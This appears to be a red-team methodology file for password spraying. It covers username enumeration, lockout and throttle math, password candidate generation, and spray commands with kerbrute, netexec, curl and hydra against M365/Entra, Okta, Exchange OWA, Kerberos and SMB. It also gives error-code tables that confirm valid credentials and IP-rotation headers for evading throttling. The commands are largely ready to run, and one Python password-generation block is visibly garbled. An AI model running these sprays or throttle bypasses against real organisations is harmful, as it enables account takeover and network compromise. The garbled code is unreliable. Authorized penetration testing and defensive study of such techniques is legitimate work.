| name | password-spray-methodology |
| description | End-to-end password spray playbook. User enumeration, lockout detection, password pattern generation, spray execution across all protocols, error code differentials, and engagement discipline. Unifies M365/Entra, Okta, Exchange, Kerberos, SharePoint, XMLRPC, OIDC, and AD SMB/WinRM spraying into one methodology. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| category | redteam |
| tags | ["password","spray","methodology","redteam"] |
Password Spray Methodology
Password spraying is the highest-ROI credential attack: one (or few) passwords tried against many users. It's quiet, avoids lockouts, and succeeds where traditional brute force fails. This skill consolidates every spray vector, enumeration technique, pattern, and protocol across the entire skill catalog.
This is a methodology skill. Protocol-specific details live in their respective skills — cross-reference them for deep dives. This skill covers the universal spray pipeline that applies everywhere.
When to Use
- Starting ANY engagement with a user list but no credentials
- Finding internet-facing login portals (OWA, Okta, ADFS, VPN, SSO, OIDC)
- After
hunt-ntlm-info reveals AD domain/UPN format — feed into spray
- After
hunt-ldap enumerates sAMAccountNames — feed into spray
- After
js-secrets-extraction finds email patterns — feed into spray
- OneDrive 302/404 enum (from
m365-entra-attack) confirms licensed users — spray them
- Any leaked credential dump from client — validate against all services
- Active-attacker detection via Smart Lockout differential
Universal Spray Pipeline (5 Phases)
Phase 1: ENUMERATE USERS → valid user list
Phase 2: DETECT LOCKOUT → max attempts/min, throttle rate
Phase 3: GENERATE PASSWORDS → 5-20 high-probability candidates
Phase 4: EXECUTE SPRAY → per-protocol, low-and-slow
Phase 5: INTERPRET RESULTS → error code differential → finding or discard
Phase 1 — User Enumeration
The spray is only as good as the user list. Gather usernames BEFORE touching any auth endpoint.
Universal Enumeration Sources
| Source | Technique | Lockout Risk | Skill Reference |
|---|
| LinkedIn / company page | Scrape employee names → username-anarchy | Zero | — |
| OneDrive personal site | GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx → 302=exists, 404=no | Zero | m365-entra-attack |
| Kerberos pre-auth | kerbrute userenum --dc <DC> --domain <DOMAIN> users.txt | Zero (KDC_ERR_PREAUTH_REQUIRED does not count as auth failure) | — |
| NTLM Type-2 decode | Extract AD domain, NetBIOS name, computer name from anonymous probe | Zero | hunt-ntlm-info |
| Jira user picker | /rest/api/2/user/picker?query= — public on misconfigured instances | Zero | — |
| Jenkins | /asynchPeople/ or /securityRealm/user/<name>/ | Zero | — |
| ManageEngine ADManager Plus | Unauthenticated user listing on exposed instances | Zero | — |
| WordPress REST API | /wp-json/wp/v2/users — dumps authors with usernames | Zero | hunt-wordpress |
| GitLab | /api/v4/users — public on open instances | Zero | — |
| O365 Autodiscover | HARDENED — returns identical 200 for all (2024+) | Zero but dead | m365-entra-attack |
| GetUserRealm | HARDENED — returns same XML for any email in tenant | Zero but dead | m365-entra-attack |
Username Format Generation
After scraping names, generate all org-likely formats:
./username-anarchy -i names.txt > usernames.txt
CeWL — Target-Specific Word Extraction
cewl -d 3 -m 6 --lowercase https://target.com -w target_words.txt
Phase 2 — Lockout Detection & Throttle Math
Four Rate-Limit States (from hunt-brute-force)
Before spraying, classify the target endpoint into one of four states:
| State | Signal | Spray Feasible? |
|---|
| Hard lockout | Account disabled after N fails; correct creds also fail | No (DoS finding instead) |
| Soft IP throttle | 429 or increasing latency keyed on source IP | Yes — bypass via IP rotation |
| CAPTCHA injection | 200 but body switches to CAPTCHA after N attempts | Maybe — check if API path skips it |
| Silent shadow-throttle | 200/401 on every request but submissions are dropped silently | TRAP — inject known-good value at known position to detect |
Shadow-Throttle Detection (CRITICAL — the biggest false-negative)
KNOWN_GOOD="user@target.com:CorrectP@ss"
for n in $(seq 0 600); do
code=$(curl --max-time 30 --connect-timeout 10 -sk -u "user${n}@target.com:WrongP@ss" -o /dev/null -w "%{http_code}" \
"https://TARGET/auth-endpoint")
echo "$n $code $(wc -c </tmp/bf_body)"
done
Smart Lockout Math (Microsoft Entra ID — from m365-entra-attack)
- Default: 10 failed sign-ins in 10 minutes → 1-minute lockout
- Counter shared across ALL auth flows (ROPC + SAML + IMAP + EWS + SMTP + device-code)
- Mathematical guarantee: with ≤1 attempt per user, you CANNOT cause Smart Lockout (1 < 10)
- Any AADSTS50053 observed = PRE-EXISTING external attacker → SOC finding
HARD_CAP = 1
Okta Lockout
- Default: 10 failed sign-ins (configurable, some orgs: 3)
- Discipline: ≤2 attempts per user lifetime (safer than Entra's 1 because Okta lockout can be 3)
Exchange/OWA Rate Limit Test
for i in $(seq 1 5); do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 \
-X POST "https://$TARGET/owa/auth.owa" \
-d "destination=https://$TARGET/owa/&username=testuser$i@domain.com&password=WrongPass123!")
echo "Attempt $i: HTTP $code"
done
Concrete Throttle References
| Protocol | Safe Rate | Source |
|---|
| M365 ROPC | ≤30 req/sec to login.microsoftonline.com (per IP) | Authorized engagement |
| M365 Smart Lockout | ≤1 attempt per user LIFETIME per engagement | Mathematical guarantee |
| Okta /authn | ≤2 attempts per user lifetime; slower than Entra (tuner-different anti-automation) | Authorized engagement |
| Exchange OWA | Test 5 rapid attempts first; if uniform, spray slowly | exchange-owa-attack |
| SharePoint SOAP | No rate limit observed on SP2013; still go slow | hunt-sharepoint |
| Kerberos (Kerbrute) | No lockout risk from pre-auth probe; spray pace: 1 password per full user list per hour | Public research |
| IP Rotation Bypass | X-Forwarded-For, X-Real-IP, X-Originating-IP, CF-Connecting-IP, True-Client-IP | hunt-brute-force |
| NodeZero reference | 2 attempts per hour in production environments | Horizon3.ai (2022) |
Phase 3 — Password Pattern Generation
The Complexity Backfire (CRITICAL INSIGHT)
Password complexity policies (uppercase + lowercase + digit + special) produce MORE predictable passwords, not less. The human pattern is always the same: Uppercase first letter + lowercase word + digit at end + ! at end.
Observations from PACK analysis (Kacherginsky, 2013) across RockYou, LinkedIn, MySpace, Stratfor, Singles.org, FaithWriters, phpBB:
: (no transformation) — 2-25% of all passwords are straight dictionary words
$1 (append "1") — 0.5-5.5% of all passwords
$1 $2 $3 — 0.1-0.6%
$1 $2 — 0.08-0.5%
- Seasonal:
Summer2024!, Winter2025!, Spring2026!
- Company:
<Brand>@2026, <Brand>@123, <City>@2026
- Default rotation:
Password@<year>, Welcome@<year>, Admin@<year>
Pattern Generation Recipe
brand_variants = ["CompanyName", "Company", "COMPANY", "company"]
years = ["2026", "2025", "2024", "2023", "26", "25"]
specials = ["", "!", "@", "#", "1", "123", "123!"]
seasonal = ["Summer", "Winter", "Spring", "Autumn", "Fall"]
passwords = []
for brand in brand_variants:
for year in years:
for spec in specials:
passwords.append(f"{brand}{year}{spec}")
passwords.append(f"{brand}@{year}")
for season in seasonal:
for year in years:
passwords.append(f"{season}{year}!")
passwords.append(f"{season}{year}")
cities = ["SaoPaulo", "Rio", "BH", "Brasilia"]
for city in cities:
year years:
spec specials:
passwords.append()
functional = [, , , ,
, , , , ]
func functional:
passwords.append()
passwords.append()
Wordlist Strategy
| Stage | Wordlist | When |
|---|
| 1. Leaked creds | Client-provided dump, stealer logs | Always first — each is the strongest guess for that user |
| 2. Company-specific | CeWL output + brand patterns (Phase 3 recipe) | Every engagement |
| 3. Probable-Wordlists | Top 100 from berzerk0's frequency-sorted list | When company patterns fail |
| 4. rockyou.txt top-N | Filter to 8+ chars matching target policy | Fallback |
| AVOID | RockYou2024 | 98% garbage (hashes, truncated strings, unicode junk, Russian text) — zero practical value |
| Custom mutations | Apply Hashcat rules to company-specific list | Deep engagement |
hashcat --stdout -r /usr/share/hashcat/rules/best64.rule target_words.txt | sort -u > mutated.txt
Phase 4 — Spray Execution Matrix
| Protocol | Endpoint | Spray Command | Rate Limit | Skill Ref |
|---|
| M365 ROPC | login.microsoftonline.com/common/oauth2/token | Python attempt() with state file | ≤1/user/lifetime | m365-entra-attack |
| Okta | <tenant>.okta.com/api/v1/authn | curl POST {"username":"...","password":"..."} | ≤2/user/lifetime | okta-attack |
| Exchange OWA | /owa/auth.owa (POST), /ews/Exchange.asmx (Basic) | curl HTTP POST or Basic Auth | Test 5 rapid first | exchange-owa-attack |
| Kerberos (AD) | KDC (TCP 88) | kerbrute passwordspray --dc <DC> -d <DOMAIN> users.txt '<password>' | No lockout from spray | — |
| SMB / WinRM | TCP 445 / 5985 | netexec smb 10.0.0.0/24 -u users.txt -p passwords.txt --continue-on-success | Per-service | — |
| SharePoint SOAP | /_vti_bin/Authentication.asmx | POST SOAP Login envelope | No rate limit on SP2013 farms | hunt-sharepoint |
| WordPress XMLRPC | /xmlrpc.php | system.multicall batches hundreds in 1 request | None observed | hunt-auth-bypass |
| OIDC password grant | /oauth2/token (custom tenant) | grant_type=password with client_id | Depends on IdP | — |
| Citrix NetScaler | /vpn/index.html, /cgi/login | POST form credentials | Per-instance | — |
| F5 BIG-IP |
Kerbrute — Spray AD Without Lockout
./kerbrute_linux_amd64 userenum \
--dc 10.10.10.5 \
--domain corp.local \
usernames.txt
./kerbrute_linux_amd64 passwordspray \
--dc 10.10.10.5 \
--domain corp.local \
valid_users.txt 'Summer2026!'
NetExec — Multi-Protocol Spray
netexec smb 10.10.10.0/24 -u users.txt -p passwords.txt --continue-on-success
netexec winrm 10.10.10.0/24 -u users.txt -p passwords.txt
netexec mssql 10.10.10.0/24 -u users.txt -p passwords.txt
netexec smb 10.10.10.5 -u administrator -p 'P@ssw0rd!'
Burp Intruder — OWA Spray
Phase 5 — Error Code Differentials
The difference between "wrong password" and "correct password but blocked" is everything. The latter is a confirmed finding even without a token.
AADSTS Codes (M365/Entra — from m365-entra-attack)
| Code | Meaning | Password Valid? | Action |
|---|
| AADSTS50034 | User does not exist | N/A | Remove from list |
| AADSTS50126 | Invalid password | ❌ | User exists — retry within cap |
| AADSTS50053 | Account locked (Smart Lockout) | Unknown | PRE-EXISTING → SOC finding |
| AADSTS53003 | CA blocked token issuance | ✅ YES | STOP — VALID CREDENTIAL |
| AADSTS50076 | MFA required | ✅ YES | VALID — second factor needed |
| AADSTS50079 | Strong auth required | ✅ YES | VALID |
| AADSTS50158 | External auth required | ✅ YES | VALID |
| AADSTS530003 | Device-state required | ✅ YES | VALID |
CRITICAL TRAP — ROPC substring false-positive:
When CA requires MFA, the error body includes "claims":{"access_token":{"capolids":...}}. A loose substring check if "access_token" in raw_body will false-positive every MFA-blocked attempt. Always parse JSON, then check if "access_token" in parsed_dict.
Okta Codes (from okta-attack)
| Response | Meaning | Password Valid? |
|---|
200 status=MFA_REQUIRED | MFA challenge waiting | ✅ YES |
200 status=SUCCESS + sessionToken | Full auth (no MFA) | ✅ YES |
200 status=PASSWORD_EXPIRED | Must change password | ✅ YES |
200 status=LOCKED_OUT | Account locked | Unknown |
401 E0000004 | Auth failed (user doesn't exist OR wrong password — Okta unifies) | ❌ |
401 E0000119 | User is locked | Unknown |
429 | Rate-limit hit | — |
Exchange OWA Codes
| Status | Meaning |
|---|
302 + Location to /owa/ | ✅ VALID — authenticated |
| 200 with same login page | ❌ Invalid |
| Consistent HTTP codes across 5 rapid attempts | No rate limit — spray viable |
Engagement Discipline
Must Do
- State file with atomic writes: per-user attempt counter (JSON)
- Engagement journal: JSONL log of every attempt (timestamp, email, password first 4 chars, status, AADSTS code)
- IP rotation log: per-day: date, src-ip, ISP-AS, operator-handle, round
- Test ALL tenants: sister domains often have separate Entra tenants with different password policies
- Kill switch: stop run if LOCKED count exceeds threshold (suggests pre-existing attacker or miscount)
- Leaked creds FIRST: each is 1 cap-attempt against the strongest guess for that user
Anti-Patterns (Don't Do These)
- DON'T use leaked cred across multiple resources — burns cap with no marginal benefit when CA blocks
- DON'T retry after AADSTS50053 — account is locked
- DON'T spray >30 req/sec sustained to login.microsoftonline.com — IP flagged for credential-stuffing
- DON'T use Entra-style spray pace on Okta — anti-automation is tuner-different
- DON'T retract a CA-block finding — AADSTS53003/50076/50079 = password is correct
- DON'T skip user enumeration — spraying without known-valid usernames is blind noise
- DON'T use RockYou2024 — 98% garbage (hashes, truncated strings, unicode junk)
- DON'T spray a user more than HARD_CAP times across the entire engagement lifetime
- DON'T confuse
*.oktapreview.com with production — preview is non-prod, different severity
Active-Attacker Detection (Highest-Impact Byproduct)
The Smart Lockout math guarantee (1 < 10) doubles as an active-attacker detector:
- Cap: 1 attempt per user
- Observe AADSTS50053 (LOCKED) on multiple users
- You did not cause these locks (1 < 10 = mathematically impossible)
- An external attacker is actively spraying the tenant RIGHT NOW
- Cluster locked users alphabetically → clustering = attacker using sorted username list
- Diff lockout count between spray-start and spray-end → new locks = attacker active during your session
- Document locked email list as SOC-actionable finding
Chain Table
| Chain | From | To | Impact |
|---|
| User enum → spray → valid cred | hunt-ntlm-info | This skill | ATO |
| Sprayed cred → email access | This skill | m365-entra-attack | Data exfil |
| Spray → MFA challenge → bypass | This skill | hunt-mfa-bypass | Full ATO |
| Spray → valid cred → lateral | This skill | NetExec/impacket | Domain compromise |
| Spray → lockout observation → SOC alert | This skill | mid-engagement-ir-detection | IR finding |
| Spray → SharePoint SOAP cred → FedAuth → authenticated surface | This skill | hunt-sharepoint | SharePoint access |
| LDAP enum → sAMAccountName list → AD spray | hunt-ldap | This skill (Kerbrute) | Mass-ATO |
Tool Summary
| Tool | Purpose | Command |
|---|
| Kerbrute | AD user enum + spray (no lockout) | kerbrute userenum/passwordspray |
| NetExec (nxc) | Multi-protocol spray (SMB, WinRM, MSSQL, RDP) | netexec smb 10.0.0.0/24 -u users.txt -p passwords.txt |
| Burp Intruder | HTTP POST spray (OWA, custom portals) | Sniper mode, variable username, fixed password |
| CeWL | Target-specific wordlist generation | cewl -d 3 -m 6 --lowercase https://target.com -w words.txt |
| username-anarchy | Username format generation from real names | ./username-anarchy -i names.txt > usernames.txt |
| Hashcat | Password rule generation (PACK) + wordlist mutation | hashcat --stdout -r rules/best64.rule words.txt |
| curl | Manual spray probes, lockout tests | curl --max-time 30 --connect-timeout 10 -sk -u "user:pass" https://TARGET/endpoint |
| Python | Custom spray script with state file + JSON parsing | See m365-entra-attack for ROPC template |
| MailSniper | Post-compromise GAL extraction from OWA | Amplifies spray list after first valid cred |
| hydra | HTTP form spray (legacy — prefer Burp Intruder) | hydra -L users.txt -P passwords.txt http-post-form |
Verification
- Spray tool availability — confirm spray tools:
which crackmapexec 2>/dev/null && echo "PASS: crackmapexec installed" || echo "NOTE: crackmapexec not installed"
pip3 show o365spray 2>/dev/null | grep -q "Name:" && echo "PASS: o365spray installed" || echo "NOTE: o365spray not installed"
All tests verify password spray readiness.
Pitfalls
- Spraying without lockout policy knowledge — Entra ID Smart Lockout, Okta lockout, and on-prem AD lockout all work differently. Know the threshold before spraying.
- One-password spray — spraying only "Password123" is nearly useless. Use a targeted list of 2-4 high-probability passwords per org.
- Spray without user enumeration first — validating usernames before spraying reduces noise and lockout risk. Always enum first.
- Timing-based account validation — password spray timing differentials can confirm valid accounts. Measure carefully with n>=10 samples.
- OAuth/Modern Auth spray — modern auth endpoints (OAuth2 token endpoint) have different lockout behavior than legacy endpoints. Test both paths.
Related Skills
m365-entra-attack — M365-specific ROPC validation, AADSTS code reference, OneDrive user enumeration, Smart Lockout math, tenant discovery
okta-attack — Okta-specific spray endpoint, error codes, factor enumeration, lockout discipline
exchange-owa-attack — OWA rate-limit testing, Basic Auth spray, NTLM Type-2 domain extraction, government naming patterns
hunt-brute-force — Four rate-limit states, shadow-throttle detection, IP rotation bypass, OTP brute methodology
hunt-auth-bypass — Legacy Protocol Matrix (WordPress XMLRPC, Citrix, F5, Atlassian spray endpoints)
hunt-sharepoint — SharePoint SOAP Authentication.asmx anonymous credential brute-force (no rate limit)
hunt-ldap — sAMAccountName enumeration → spray target list
hunt-ntlm-info — NTLM Type-2 → UPN format → credential format for spray
hunt-mfa-bypass — Spray → MFA challenge → bypass chain
mid-engagement-ir-detection — Active-attacker detection via Smart Lockout lockout differential
hunt-wordpress — REST API user enumeration → spray target list